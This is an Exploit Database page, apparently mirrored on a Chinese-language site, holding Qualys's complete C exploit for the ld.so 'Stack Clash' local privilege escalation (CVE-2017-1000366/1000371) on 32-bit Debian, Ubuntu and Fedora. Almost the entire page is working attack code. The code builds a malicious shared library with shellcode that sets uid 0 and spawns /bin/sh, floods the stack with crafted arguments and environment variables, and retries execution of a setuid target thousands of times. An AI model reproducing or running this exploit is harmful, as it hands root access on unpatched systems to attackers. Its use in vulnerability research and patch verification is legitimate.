Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) – ‘ldso_dynamic Stack Clash’ Local Privilege Escalation

• Exploit Database
• 20 阅读

• 作者： Qualys Corporation
  日期： 2017-06-28
• 类别：

  • local
  平台：

  • linux_x86
• 来源：https://www.exploit-db.com/exploits/42276/

• /*
   * Linux_ldso_dynamic.c for CVE-2017-1000366, CVE-2017-1000371
   * Copyright (C) 2017 Qualys, Inc.
   *
   * This program is free software: you can redistribute it and/or modify
   * it under the terms of the GNU General Public License as published by
   * the Free Software Foundation, either version 3 of the License, or
   * (at your option) any later version.
   *
   * This program is distributed in the hope that it will be useful,
   * but WITHOUT ANY WARRANTY; without even the implied warranty of
   * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
   * GNU General Public License for more details.
   *
   * You should have received a copy of the GNU General Public License
   * along with this program.If not, see <http://www.gnu.org/licenses/>.
   */
  
  #define _GNU_SOURCE
  #include <elf.h>
  #include <fcntl.h>
  #include <limits.h>
  #include <link.h>
  #include <signal.h>
  #include <stddef.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <sys/param.h>
  #include <sys/resource.h>
  #include <sys/stat.h>
  #include <sys/time.h>
  #include <sys/types.h>
  #include <sys/wait.h>
  #include <unistd.h>
  
  #define PAGESZ ((size_t)4096)
  #define ALIGN ((size_t)16)
  
  #define PIE_BASE ((uintptr_t)0x80000000)
  #define PIE_RAND ((size_t)1<<20)
  
  #define STACK_BASE ((uintptr_t)0xC0000000)
  #define STACK_RAND ((size_t)8<<20)
  
  #define MAX_ARG_STRLEN ((size_t)128<<10)
  
  static const struct target * target;
  static const struct target {
  const char * name;
  const char * repl_lib;
  } targets[] = {
  {
  .name = "Debian 9 (stretch)",
  .repl_lib = "lib/i386-linux-gnu",
  },
  {
  .name = "Debian 10 (buster)",
  .repl_lib = "lib/i386-linux-gnu",
  },
  {
  .name = "Ubuntu 14.04.5 (Trusty Tahr)",
  .repl_lib = "lib/i386-linux-gnu",
  },
  {
  .name = "Ubuntu 16.04.2 (Xenial Xerus)",
  .repl_lib = "lib/i386-linux-gnu",
  },
  {
  .name = "Ubuntu 17.04 (Zesty Zapus)",
  .repl_lib = "lib/i386-linux-gnu",
  },
  {
  .name = "Fedora 23 (Server Edition)",
  .repl_lib = "lib",
  },
  {
  .name = "Fedora 24 (Server Edition)",
  .repl_lib = "lib",
  },
  {
  .name = "Fedora 25 (Server Edition)",
  .repl_lib = "lib",
  },
  };
  
  #define die() do { \
  printf("died in %s: %u\n", __func__, __LINE__); \
  exit(EXIT_FAILURE); \
  } while (0)
  
  static const ElfW(auxv_t) * my_auxv;
  
  static unsigned long int
  my_getauxval (const unsigned long int type)
  {
  const ElfW(auxv_t) * p;
  
  if (!my_auxv) die();
  for (p = my_auxv; p->a_type != AT_NULL; p++)
  if (p->a_type == type)
  return p->a_un.a_val;
  die();
  }
  
  struct elf_info {
  uintptr_t map_start, map_end;
  uintptr_t dyn_start, dyn_end;
  };
  
  static struct elf_info
  get_elf_info(const char * const binary)
  {
  static struct elf_info elf;
  const int fd = open(binary, O_RDONLY | O_NOFOLLOW);
  if (fd <= -1) die();
  struct stat st;
  if (fstat(fd, &st)) die();
  if (!S_ISREG(st.st_mode)) die();
  if (st.st_size <= 0) die();
  #define SAFESZ ((size_t)64<<20)
  if (st.st_size >= (ssize_t)SAFESZ) die();
  const size_t size = st.st_size;
  uint8_t * const buf = malloc(size);
  if (!buf) die();
  if (read(fd, buf, size) != (ssize_t)size) die();
  if (close(fd)) die();
  
  if (size <= sizeof(ElfW(Ehdr))) die();
  const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
  if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
  if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
  if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
  if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
  if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die();
  if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
  if (ehdr->e_type != ET_DYN) die();
  if (ehdr->e_machine != EM_386) die();
  if (ehdr->e_version != EV_CURRENT) die();
  if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
  if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
  if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die();
  if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
  if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die();
  if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();
  if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die();
  
  unsigned int i;
  {
  int interp = 0;
  for (i = 0; i < ehdr->e_phnum; i++) {
  const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
  if (phdr->p_type == PT_INTERP) interp = 1;
  if (phdr->p_type != PT_LOAD) continue;
  if (elf.map_start) die();
  
  if (phdr->p_offset >= size) die();
  if (phdr->p_filesz > size - phdr->p_offset) die();
  if (phdr->p_filesz > phdr->p_memsz) die();
  if (phdr->p_vaddr != phdr->p_paddr) die();
  if (phdr->p_vaddr >= SAFESZ) die();
  if (phdr->p_memsz >= SAFESZ) die();
  if (phdr->p_memsz <= 0) die();
  if (phdr->p_align != PAGESZ) die();
  
  switch (phdr->p_flags) {
  case PF_R | PF_X:
  if (phdr->p_vaddr) die();
  break;
  case PF_R | PF_W:
  elf.map_start = phdr->p_vaddr & ~(PAGESZ-1);
  elf.map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
  if (!elf.map_start) die();
  break;
  default:
  die();
  }
  }
  if (!interp) die();
  if (!elf.map_start) die();
  }
  for (i = 0; i < ehdr->e_shnum; i++) {
  const ElfW(Shdr) * const shdr = (const ElfW(Shdr) *)(buf + ehdr->e_shoff) + i;
  if (!(shdr->sh_flags & SHF_ALLOC)) continue;
  if (shdr->sh_size <= 0) die();
  if (shdr->sh_size >= SAFESZ) die();
  if (shdr->sh_addr >= SAFESZ) die();
  #undef SAFESZ
  const uintptr_t start = shdr->sh_addr;
  const uintptr_t end = start + shdr->sh_size;
  
  if (!(shdr->sh_flags & SHF_WRITE)) {
  if (start < elf.map_end && end > elf.map_start) die();
  continue;
  }
  if (start < elf.map_start || end > elf.map_end) die();
  if (shdr->sh_type != SHT_DYNAMIC) continue;
  if (shdr->sh_entsize != sizeof(ElfW(Dyn))) die();
  
  if (elf.dyn_start) die();
  elf.dyn_start = start;
  elf.dyn_end = end;
  if (!elf.dyn_start) die();
  }
  if (!elf.dyn_start) die();
  free(buf);
  return elf;
  }
  
  static void
  create_needed_lib(const char * const needed)
  {
  static struct lib {
  union {
  struct {
  ElfW(Ehdr) e;
  ElfW(Phdr) p1;
  ElfW(Phdr) p2;
  ElfW(Phdr) p3;
  } h;
  char align[PAGESZ];
  } u;
  char code1[PAGESZ];
  char code3[PAGESZ];
  char code2[8<<20];
  } lib = { .u = { .h = {
  .e = {
  .e_ident = {
  ELFMAG0,
  ELFMAG1,
  ELFMAG2,
  ELFMAG3,
  ELFCLASS32,
  ELFDATA2LSB,
  EV_CURRENT,
  ELFOSABI_SYSV,
  0
  },
  .e_type = ET_DYN,
  .e_machine = EM_386,
  .e_version = EV_CURRENT,
  .e_phoff = offsetof(struct lib, u.h.p1),
  .e_ehsize = sizeof(ElfW(Ehdr)),
  .e_phentsize = sizeof(ElfW(Phdr)),
  .e_phnum = 3
  },
  .p1 = {
  .p_type = PT_LOAD,
  .p_offset = offsetof(struct lib, code1),
  .p_vaddr = 0,
  .p_filesz = sizeof(lib.code1),
  .p_memsz = sizeof(lib.code1),
  .p_flags = PF_R | PF_X,
  .p_align = PAGESZ
  },
  .p2 = {
  .p_type = PT_LOAD,
  .p_offset = offsetof(struct lib, code2),
  .p_vaddr = -(sizeof(lib.code2) + PAGESZ),
  .p_filesz = sizeof(lib.code2),
  .p_memsz = sizeof(lib.code2),
  .p_flags = PF_R | PF_X,
  .p_align = PAGESZ
  },
  .p3 = {
  .p_type = PT_LOAD,
  .p_offset = offsetof(struct lib, code3),
  .p_vaddr = sizeof(lib.code1),
  .p_filesz = sizeof(lib.code3),
  .p_memsz = sizeof(lib.code3),
  .p_flags = PF_R | PF_X,
  .p_align = PAGESZ
  }
  }}};
  
  static const char shellcode[] =
  "\x83\xc4\x40\xb8\x17\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8"
  "\x2e\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00"
  "\xbb\x00\x00\x00\x00\xb9\x01\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00"
  "\x00\xbb\x00\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00"
  "\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xba\x00"
  "\x00\x00\x00\x52\x53\x89\xe1\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00"
  "\x00\x00\x00\xcd\x80";
  
  memset(lib.code2, 0x90, sizeof(lib.code2));
  if (sizeof(lib.code2) <= sizeof(shellcode)) die();
  memcpy(lib.code2 + sizeof(lib.code2) - sizeof(shellcode), shellcode, sizeof(shellcode));
  
  const int fd = open(needed, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
  if (fd <= -1) die();
  if (write(fd, &lib, sizeof(lib)) != (ssize_t)sizeof(lib)) die();
  if (fchmod(fd, 0755)) die();
  if (close(fd)) die();
  }
  
  static const char my_x86_platforms[4][5] = {
  "i386", "i486", "i586", "i686"
  };
  
  int
  main(const int my_argc, const char * const my_argv[], const char * const my_envp[])
  {
  {
  const char * const * p = my_envp;
  while (*p++) ;
  my_auxv = (const void *)p;
  }
  if (my_getauxval(AT_PAGESZ) != PAGESZ) die();
  
  if (my_argc != 1+2) {
  printf("Usage: %s target binary\n", my_argv[0]);
  size_t i;
  for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
  printf("Target %zu %s\n", i, targets[i].name);
  }
  die();
  }
  {
  const size_t i = strtoul(my_argv[1], NULL, 10);
  if (i >= sizeof(targets)/sizeof(*targets)) die();
  target = targets + i;
  printf("Target %zu %s\n", i, target->name);
  }
  const char * const binary = realpath(my_argv[2], NULL);
  if (!binary) die();
  if (*binary != '/') die();
  if (access(binary, R_OK | X_OK)) die();
  
  const struct elf_info elf = get_elf_info(binary);
  printf("map_start -> dyn_end = %u\n", elf.dyn_end - elf.map_start);
  printf("dyn_start -> dyn_end = %u\n", elf.dyn_end - elf.dyn_start);
  printf("dyn_start -> map_end = %u\n", elf.map_end - elf.dyn_start);
  printf("dyn_end -> map_end = %u\n", elf.map_end - elf.dyn_end);
  
  const char * const slash = strrchr(binary, '/');
  if (!slash) die();
  if (slash <= binary) die();
  const char * const origin = strndup(binary, slash - binary);
  if (!origin) die();
  printf("origin %s (%zu)\n", origin, strlen(origin));
  
  const char * const platform = (const void *)my_getauxval(AT_PLATFORM);
  if (!platform) die();
  const size_t platform_len = strlen(platform);
  if (platform_len != 4) die();
  {
  size_t i;
  for (i = 0; ; i++) {
  if (i >= sizeof(my_x86_platforms) / sizeof(my_x86_platforms[0])) die();
  if (strcmp(platform, my_x86_platforms[i]) == 0) break;
  }
  }
  const struct {
  const char * str;
  size_t len;
  size_t repl_len;
  } DSTs[] = {
  #define DST_LIB "LIB"
  { DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) },
  #define DST_PLATFORM "PLATFORM"
  { DST_PLATFORM, strlen(DST_PLATFORM), platform_len }
  };
  size_t repl_max = strlen(origin);
  {
  size_t i;
  for (i = 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) {
  if (repl_max < DSTs[i].repl_len)
  repl_max = DSTs[i].repl_len;
  }
  }
  printf("repl_max %zu\n", repl_max);
  if (repl_max < 4) die();
  
  static struct {
  double probability;
  size_t len, gwr, cnt, dst;
  } best;
  
  #define LLP "LD_LIBRARY_PATH="
  static char llp[MAX_ARG_STRLEN];
  #define MAX_GWR (sizeof(llp) - sizeof(LLP))
  {
  size_t len;
  for (len = MAX_GWR; len >= ALIGN; len -= ALIGN) {
  size_t gwr;
  for (gwr = len; gwr >= elf.dyn_end - elf.dyn_start; gwr--) {
  size_t dst;
  for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) {
  const size_t cnt = (len - gwr) / (1 + DSTs[dst].len + 1);
  const size_t gpj = (len + ((repl_max > 4) ? (cnt * (repl_max - 4)) : 0) + 1 + (ALIGN-1)) & ~(ALIGN-1);
  const size_t bwr = cnt * (DSTs[dst].repl_len + 1) + ((len - gwr) - cnt * (1 + DSTs[dst].len + 1)) + 1;
  
  if (gwr + bwr >= elf.map_end - elf.dyn_start) continue;
  const size_t min = MIN(gwr, elf.dyn_end - elf.map_start);
  if (gpj <= min + (elf.map_end - elf.dyn_end) + 3 * PAGESZ) continue;
  
  const double probability = (double)min / (double)(PIE_RAND + STACK_RAND);
  if (best.probability < probability) {
  best.probability = probability;
  best.len = len;
  best.gwr = gwr;
  best.cnt = cnt;
  best.dst = dst;
  printf("len %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu probability 1/%zu (%.10g)\n",
  len, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len, (size_t)(1 / probability), probability);
  }
  }
  }
  }
  }
  if (!best.probability) die();
  if (STACK_BASE <= PIE_BASE) die();
  const size_t stack_size = (STACK_BASE - PIE_BASE) - (PIE_RAND/2 + elf.map_end + STACK_RAND/2);
  printf("stack_size %zu\n", stack_size);
  
  #define STRTAB_SIZE (2 * STACK_RAND)
  #define NEEDED "./3456789abcdef"
  if (sizeof(NEEDED) != ALIGN) die();
  static union {
  uintptr_t p;
  char s[sizeof(void *)];
  } strtab_addr;
  {
  static const ElfW(Dyn) dyn;
  if (sizeof(strtab_addr) != sizeof(dyn.d_un)) die();
  if (sizeof(strtab_addr.p) != sizeof(dyn.d_un)) die();
  if (sizeof(strtab_addr.s) != sizeof(dyn.d_un)) die();
  }
  {
  uintptr_t needed_addr = STACK_BASE - STACK_RAND/2 - STRTAB_SIZE/2;
  const uintptr_t first_needed_addr = needed_addr;
  for (;; needed_addr += sizeof(NEEDED)) {
  if (needed_addr % sizeof(NEEDED)) die();
  strtab_addr.p = needed_addr / 2;
  size_t i;
  for (i = 0; i < sizeof(strtab_addr.s); i++) {
  if (strchr("$:;\\", strtab_addr.s[i])) {
  if (i >= 3) die();
  break;
  }
  }
  if (i >= sizeof(strtab_addr.s)) break;
  }
  printf("needed %08x -> %08x (first %08x -> %08x)\n",
  needed_addr, strtab_addr.p, first_needed_addr,
  needed_addr - first_needed_addr);
  if (needed_addr < first_needed_addr) die();
  if (needed_addr - first_needed_addr >= STACK_RAND / 4) die();
  }
  #define INITIAL_STACK_EXPANSION (131072UL)
  const size_t needed_envs = STRTAB_SIZE / sizeof(NEEDED);
  if (needed_envs < INITIAL_STACK_EXPANSION / sizeof(char *)) die();
  
  static char clash[MAX_ARG_STRLEN];
  memset(clash, ' ', sizeof(clash)-1);
  if ((strlen(clash) + 1) % ALIGN) die();
  const size_t clash_envs = (stack_size - sizeof(llp) - needed_envs * (sizeof(char *) + sizeof(NEEDED)))
  / (sizeof(char *) + sizeof(clash));
  printf("#needed %zu #clash %zu\n", needed_envs, clash_envs);
  
  {
  char * cp = mempcpy(llp, LLP, sizeof(LLP)-1);
  memset(cp, '/', best.len);
  const char * const bwrp = cp + best.gwr;
  cp += elf.dyn_start % ALIGN;
  if (cp >= bwrp) die();
   {
  static const ElfW(Dyn) dyn;
  for (; bwrp - cp >= (ptrdiff_t)sizeof(dyn); cp += sizeof(dyn)) {
  ElfW(Dyn) * const dynp = (void *)cp;
  dynp->d_tag = DT_AUXILIARY;
  dynp->d_un.d_ptr = strtab_addr.p;
  }
   }
  if (cp > bwrp) die();
  cp = (char *)bwrp;
  if (!best.cnt) die();
  if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die();
  size_t i;
  for (i = 0; i < best.cnt; i++) {
  *cp++ = '$';
  cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len);
  *cp++ = '/';
  }
  if (cp >= llp + sizeof(llp)) die();
  if ((strlen(llp) + 1) % ALIGN) die();
  if ((strlen(llp) + 1) != sizeof(LLP) + best.len) die();
  }
  
  #define LHCM "LD_HWCAP_MASK="
  static char lhcm[64];
  {
  const int width = ALIGN - (sizeof(LHCM) + strlen(binary) + 1 + sizeof(void *)) % ALIGN;
  if (width <= 0) die();
  if ((unsigned int)width > ALIGN) die();
  if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%0*u", LHCM, width, 0)
  >= sizeof(lhcm)) die();
  if (strlen(lhcm) + 1 != sizeof(LHCM) + width) die();
  }
  
  const size_t args = 2 + clash_envs + needed_envs + 1;
  char ** const argv = calloc(args, sizeof(char *));
  if (!argv) die();
  {
  char ** ap = argv;
  *ap++ = (char *)binary;
  *ap++ = "--help";
  size_t i;
  for (i = 0; i < clash_envs; i++) {
  *ap++ = clash;
  }
  for (i = 0; i < needed_envs; i++) {
  *ap++ = NEEDED;
  }
  *ap++ = NULL;
  if (ap != argv + args) die();
  }
  
  const size_t envs = 1 + 2;
  char ** const envp = calloc(envs, sizeof(char *));
  if (!envp) die();
  {
  char ** ep = envp;
  *ep++ = llp;
  *ep++ = lhcm;
  *ep++ = NULL;
  if (ep != envp + envs) die();
  }
  
  {
  static const struct rlimit rlimit_stack = { RLIM_INFINITY, RLIM_INFINITY };
  if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die();
  }
  int pipefd[2];
  if (pipe(pipefd)) die();
  if (close(pipefd[0])) die();
  pipefd[0] = -1;
  if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
  
  create_needed_lib(NEEDED);
  
  size_t try;
  for (try = 1; try <= 65536; try++) {
  if (fflush(stdout)) die();
  const pid_t pid = fork();
  if (pid <= -1) die();
  if (pid == 0) {
  if (dup2(pipefd[1], 1) != 1) die();
  if (dup2(pipefd[1], 2) != 2) die();
  execve(*argv, argv, envp);
  die();
  }
  int status = 0;
  struct timeval start, stop, diff;
  if (gettimeofday(&start, NULL)) die();
  if (waitpid(pid, &status, WUNTRACED) != pid) die();
  if (gettimeofday(&stop, NULL)) die();
  timersub(&stop, &start, &diff);
  printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec);
  
  if (WIFSIGNALED(status)) {
  printf("signal %d\n", WTERMSIG(status));
  switch (WTERMSIG(status)) {
  case SIGPIPE:
  case SIGSEGV:
  case SIGBUS:
  break;
  default:
  die();
  }
  } else if (WIFEXITED(status)) {
  printf("exited %d\n", WEXITSTATUS(status));
  } else if (WIFSTOPPED(status)) {
  printf("stopped %d\n", WSTOPSIG(status));
  die();
  } else {
  printf("unknown %d\n", status);
  die();
  }
  }
  die();
  }